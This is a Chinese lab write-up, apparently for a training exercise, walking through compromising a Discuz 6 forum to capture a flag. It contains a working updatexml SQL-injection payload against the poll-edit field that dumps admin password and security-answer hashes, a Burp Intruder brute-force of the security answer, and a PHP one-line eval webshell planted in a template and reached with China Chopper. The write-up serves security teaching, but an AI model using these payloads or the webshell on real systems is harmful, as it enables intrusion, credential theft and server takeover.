1. 程式人生 > >又見DZ,我能拿你怎麼辦

又見DZ,我能拿你怎麼辦

Step 0

實驗環境

操作機:Windows XP [172.16.11.2]

實驗工具:

中國菜刀 Burpsuite

ps:圖片可單擊放大觀看。

Step 1

本次實驗中,有兩點需要突破,一是管理員口令,二是安全提示問題;

管理員口令的獲取是通過投票漏洞拿到的;安全提示問題基本思路是爆破,當然具體方法不止一種,這裡使用burpsuite破解,通過這個實驗,基本就能掌握神器burpsuite的使用了。

點選 [會員] 選單,我們可以看到當前有兩個使用者,一個是管理員admin,另一個是test1;


 
 

使用者test1的口令是弱口令,使用者名稱和密碼都是test1,點選 [登入],沒有安全提問,成功登入;


 
 

登入成功,而且還是斑竹;點選logo回到首頁,然後點選 [預設論壇],準備使用投票漏洞爆管理員口令;


 
 

進入預設論壇後,點選頁面右邊的 [新帖]-->[投票];


 
 

發起一個投票,標題、投票選項以及背景資料都隨便填,然後點選頁面下方的[發新投票];


 

 

新投票發起成功!但投票漏洞到底在哪裡?漏洞存在於投票 [編輯] ,重新修改投票後,在儲存修改時抓包改包,進而獲取管理員口令; 

 
 

點選[編輯]選單後,隨便修改一兩個內容,但先不要儲存,我們先來準備抓包工具,進行抓包改包;

Step 2

工具:Burp suite

Burp Suite 是用於攻擊web 應用程式的整合平臺。它包含了許多工具,併為這些工具設計了許多介面,以促進加快攻擊應用程式的過程。所有的工具都共享一個能處理並顯示HTTP 訊息,永續性,認證,代理,日誌,警報的一個強大的可擴充套件的框架。

路徑:C:\Tools\抓包改包\Burp suite

注意雙擊BurpLoader.jar,這個是破解版的入口;


 
 

一路點選 [I Accept],碰見就點;


 

 
 

出現如下介面就算啟動成功了,首先簡單介紹一下神器,這個真是神器,很好很強大,工具主要選單及功能如下:


 
 

01.Target(目標)——顯示目標目錄結構;

02.Proxy(代理)——攔截HTTP/S的代理伺服器,作為一個在瀏覽器和目標應用程式之間的中間人,允許攔截,檢視,修改在兩個方向上的原始資料流;

03.Spider(蜘蛛)——應用智慧感應的網路爬蟲,能夠完整列舉應用程式的內容和功能;

04.Scanner(掃描器)——高階工具,執行後,能夠自動地發現web 應用程式的安全漏洞。

05.Intruder(入侵)——定製的高度可配置的工具,對web應用程式進行自動化攻擊,如:列舉識別符號,收集有用的資料,以及使用fuzzing 技術探測常規漏洞;

06.Repeater(中繼器)——手動操作來觸發單獨的HTTP 請求,並分析應用程式響應的工具;

07.Sequencer(會話)——分析不可預知的應用程式會話令牌和重要資料項的隨機性的工具;

08.Decoder(解碼器)——手動執行或對應用程式資料者智慧解碼編碼的工具;

09.Comparer(對比)——通過相關請求和響應得到兩項資料的視覺化“差異”

10.Extender(擴充套件)——可載入Burp Suite的擴充套件,使用第三方程式碼擴充套件Burp Suit功能;

11.Options(設定)——設定Burp Suite。

要實現抓包功能,必須將burpsuite設定為瀏覽器代理,下面是谷歌瀏覽器設定代理的方法,點選右上角的設定按鈕,在下拉選單中選擇 [設定];


 
 

滾動頁面至最底部,點選[顯示高階設定] 選單;


 
 

點選[更改代理伺服器設定],開啟internet屬性對話方塊;


 
 

點選 [連線]-->[區域網設定];


 
 

勾選 [為LAN使用代理伺服器] 前面的複選框,在地址中輸入127.0.0.1,埠:8080;


 
 

這裡的地址和埠是跟burpsuite中的設定要保持一致,否則代理不成功;點選工具選單 [Proxy]-->[Options],保證介面127.0.0.1:8080前面的複選框是勾選狀態;


 
 

將工具切換到 [Proxy]-->[Intercept],注意觀察,下面有一個按鈕 [Interceptis on],攔截功能處於開啟狀態;ps:再點選就關閉了;


 
 

工具準備好了之後,我們就開始傳送請求,回到瀏覽器,儲存剛才編輯過的投票資訊,點選頁面下方的[編輯投票主題] ,注意:burp的攔截功能一定是開啟狀態,Intercept is on !


 
 

從瀏覽器端傳送請求後,burp成功抓取到該請求,此時瀏覽器端處於暫停狀態,只有代理工具處理完畢放行後,瀏覽器端才能夠進行下一步操作;


 
 

往下翻Burp抓取到的資料,我們可以看到polloption[1][2][3],這三個就是投票選擇ABC,漏洞就在這裡,三個任選其一,修改源資料,漏洞EXP如下:

  1. name="polloption[1' or updatexml(1,concat(0,(select concat(username,password) from cdb_members limit 0,1)),0) or ''=']"

複製程式碼

特別注意,最後面的等號前是兩個單引號,後面是一個單引號,exp可根據情況靈活構造;

知識點說明:利用updatexml()獲取資料

updatexml()函式是MYSQL對XML文件資料進行查詢和修改的XPATH函式。

payload:

  1. or updatexml(1,concat(0x7e,(version())),0) or

複製程式碼

Insert:

  1. INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');

複製程式碼

Update:

  1. UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';

複製程式碼

Delete:

  1. DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';

複製程式碼

 
 

修改完畢之後,特別注意,要刪除下面那一行內容;


 

資料準備完畢之後,點選[Action]-->[Send to Repeater],將請求傳送到Repeater(中繼器),其實就是可以通過傳送HTTP 請求來分析應用程式響應的功能;或者也可以按快捷鍵Ctrl+R;


 
 

請求傳送完畢後,點選[Repeater] 選單,進入新的功能介面,左邊是請求(Request),後邊是響應(Response),發現有一個 [Go] 按鈕,點選它!

ps:請求資料也可以先發送到中繼器,再進行修改,最後傳送;


 
 

點選[Go] 之後,在Response欄中會顯示返回的響應資料,最下面有一條資料:adminb10a9a82cf828627be682033e6c,因為我們的exp中寫的是(username,password),所以使用者名稱和密碼的hash連著出現了,但問題是hash不夠32位,沒有顯示全;


 
 

修改exp,將username刪除,只留下password,再發送一次請求,點選 [Go];


 
 

再一次返回的資料中,32位的管理員口令hash就顯示全了,果斷拿去破解,破解之後的明文是[email protected]#123

ps:其實顯示不全也沒關係,可以擷取hash的中間16位進行破解;破解過程不再贅述,前兩篇攻略中都介紹過;


 
 

密碼獲取成功後,我們就可以暫時不用代理了,點選 [Proxy]-->[Intercept],點選 [Intercept ison],關閉攔截功能;


 
 

攔截功能成功關閉!下一步,破解安全問題;注意:不要關閉burpsuite工具,待會還要用!


 
 

Step 3

開啟瀏覽器,進入登入頁面,輸入使用者名稱admin,密碼[email protected]#123,安全提問不知道,暫時不用管,點選[提交];


 
 

點選 [提交] 後進入下一級頁面,要求必須提供安全提問的問題及答案,否則登入失敗;


 

隨便輸入安全提供及回答,點選[會員登入],會出現如下提示:


 
 

只有5次嘗試登入的機會,看來在實驗中進行爆破是不可能了,下面我們進行“場外求助”;

在本機上下載Discuz6原始碼包,搭建PHP執行環境,最關鍵的是,如何知道實驗環境中,安全問題在資料庫裡的值是多少?只要知道這個hash(肯定是加密過的),把本機環境資料庫中的安全問題欄位值替換後,我們就可以在外面進行爆破了,流程如下圖所示:


 
 

我們首先要獲取安全回答在資料庫中儲存的值,切換到burpsuite,點選 [Intercept is off],開啟攔截功能;將之前exp中password修改為secques,將 [concat(0,] 修改為 [concat(0x7e,]   然後Go,在右側Response中成功爆出了安全回答在資料庫中的8位hash值:61A55235;

為什麼是secques?在表cdb_members中,有一個欄位叫secques,用來儲存加密後的安全回答,所以它就是我們要獲取的值;


 
 

用字典生成工具生成一個四位數字字典;排列組合可得密碼一共有10x10x10x10= 10000種,字典生成器網上很多;


 
 

下一步,我們要將5次失敗登入失敗限制修改掉,否則爆破不會成功;

開啟你安裝好的discuz6.0本地目錄,開啟include 目錄下的 misc.func.php,找到這句程式碼

$login['count'] < 5

把數字5修改為10000;或者把return2修改為return 1也可以;


 
 

在本機上,開啟burpsuite,開啟攔截功能,配置好瀏覽器代理,配置方法與實驗環境中的方法相同;


 
 

本次攻略中我們直接選擇第七個安全問題,答案是四個數字,至於如何確定是第七個安全,可以使用指令碼迴圈碰撞或用其他辦法,這裡暫不說明;這裡我們主要目的是學會使用burpsuite;

開啟瀏覽器,開啟登入頁面,輸入使用者名稱和密碼,安全提問選擇最後一個,回答隨便填一個四位數,點選 [提交];


 
 

Burpsuite成功攔截;


 
 

點選 [Action]-->[Send to Intruder] 將請求傳送到 [Intruder],或者按快捷鍵Ctrl+l;


 
 

點選 [Intruder]-->[Positions],點選右邊的 [Clear§] ,清除所有高亮顯示;


 
 

清除完畢後,選中1234,點選 [Add§],給安全回答1234新增標記,目的是用字典中的密碼迴圈替換這個值,進行爆破碰撞;


 
 

標記新增成功後,1234會變成 §1234§,下一步,新增欄位準備爆破;


 
 

點選[Payloads] 選項卡,點選下方的 [Load…] 按鈕,選擇之前生成的字典檔案,將字典新增進來;


 
 

一切就緒後,點選頂部選單欄中的[Intruder]-->[Start attack],開始暴力破解;


 
 

破解開始後,會彈出一個新視窗,等待下方的進度條跑完後,破解就結束了;ps:在options選項中可以修改執行緒大小,根據自己電腦配置合理修改;


 
 

左下角出現了Finished,破解已完成;如何檢視是否破解成功?點選 [Length] 進行排序,我們發現Payload為9595的Length(長度)跟其他數值明顯不一樣,答案就是9595!因為其他的答案都是錯誤答案,服務端返回的響應資料都是相同的登入失敗資訊,長度自然也相同;而正確值一旦被碰撞出來,服務端返回的一定不是登入失敗的資訊,所以響應資料長度肯定跟失敗的響應資料不同,所以我們可以通過Length判斷出哪個是正確的答案;


 
 

走到這一步,我們已經獲得了使用者名稱、密碼、安全提問以及安全回答,現在就可以用這些資訊登入管理員賬戶了;


 
 

輸入登入資訊,成功登入了admin賬戶!下一步,掛馬,GetShell;

Step 4

點選選單欄中的[系統設定],進入後臺管理系統;


 

 
 

有一個坑需要說明一下,點選橫向選單[基本設定],右側會顯示基本設定頁面,在論壇名稱中我們會發現有個不正確的一句話木馬,把char(35)修改為chr(35)後,這句話就正確了,但是然並卵,能夠以文字方式顯示的內容,它怎麼可能會被當作指令碼執行,所以這條路是走不通的,要想掛馬,還得另尋他法;


 
 

正確的方法是這樣的,點選橫向選單[論壇管理],再點選縱向選單 [模板編輯],在右側會顯示模板編輯頁面,點選預設模板右側的 [詳情] 按鈕;


 
 

進入選擇模板頁面後,點選customfaq後面的 [編輯];


 
 

進入頁面後,直接新增一句話木馬:

  1. eval($_POST[ichunqiu]);

複製程式碼

 
 

成功插入一句話,點選 [提交];出現下圖所示提示框時,點選確定;


 
 

模板修改成功,下一步,用菜刀連線;

開啟 [中國菜刀] 連線一句話木馬;

工具:中國菜刀    路徑:C:\Tools\webshell\中國菜刀\chopper.exe


 
 

開啟菜刀,右鍵空白處,選擇 [新增];


 
 


 
 

新增成功後會新增一條記錄;


 
 

雙擊這個URL,成功進入!


 
 

切換到C盤根目錄,找到flag檔案;


 
 

開啟文字檔案,獲得flag;


 
 

至於如何獲取伺服器許可權的基本方法在頭兩個實驗攻略中已詳細說明,這裡不再贅述。

最後說一下資料庫中儲存的安全回答的hash為什麼是8位?

安全問題的程式碼是這樣的:

  1. <option value="0">無安全提問</option>
  2. <option value="1">母親的名字</option>
  3. <option value="2">爺爺的名字</option>
  4. <option value="3">父親出生的城市</option>
  5. <option value="4">您其中一位老師的名字</option>
  6. <option value="5">您個人計算機的型號</option>
  7. <option value="6">您最喜歡的餐館名稱</option>
  8. <option value="7">駕駛執照的最後四位數字</option>

複製程式碼

我們在客戶端選擇“駕駛執照的最後四位數字”並提交資料後,服務端得到的資料不是“駕駛執照的最後四位”這幾個中文,而是那個value值,也就是7;服務端還會獲取到安全回答的值:9595;DZ在這裡的加密方法是這樣的,原始碼如下:

  1. <?php
  2. /**
  3. * 問題答案加密
  4. * @param $questionid - 問題
  5. * @param $answer - 答案
  6. * @return 返回加密的字串
  7. */
  8. function quescrypt($questionid, $answer) {
  9.         return $questionid > 0 && $answer != '' ? substr(md5($answer.md5($questionid)), 16, 8) : '';
  10. }
  11. ……
  12. ?>

複製程式碼

原始碼解讀如下,首先對questionid進行MD5:

  1. MD5(7)= 8f14e45fceea167a5a36dedd4bea2543

複製程式碼

下一步,將安全回答的值跟加密後的7進行字串連線:

  1. 95958f14e45fceea167a5a36dedd4bea2543

複製程式碼

下一步,將這個值再進行MD5

  1. MD5(95958f14e45fceea167a5a36dedd4bea2543)= b399d3c744128d6a61a5523577d26479

複製程式碼

再取第17到24位的8位密碼:

  1. 61a55235

複製程式碼

本次實驗到此結束,希望對大家有所幫助,下一講:《2015中國網路安全大賽:Reinstall真題》。

ps:部分知識點內容轉自烏雲與網路;路漫漫其修遠兮,感謝一路上黑友們的幫助@lonnyboy;

Dareand the world always yields.

--END--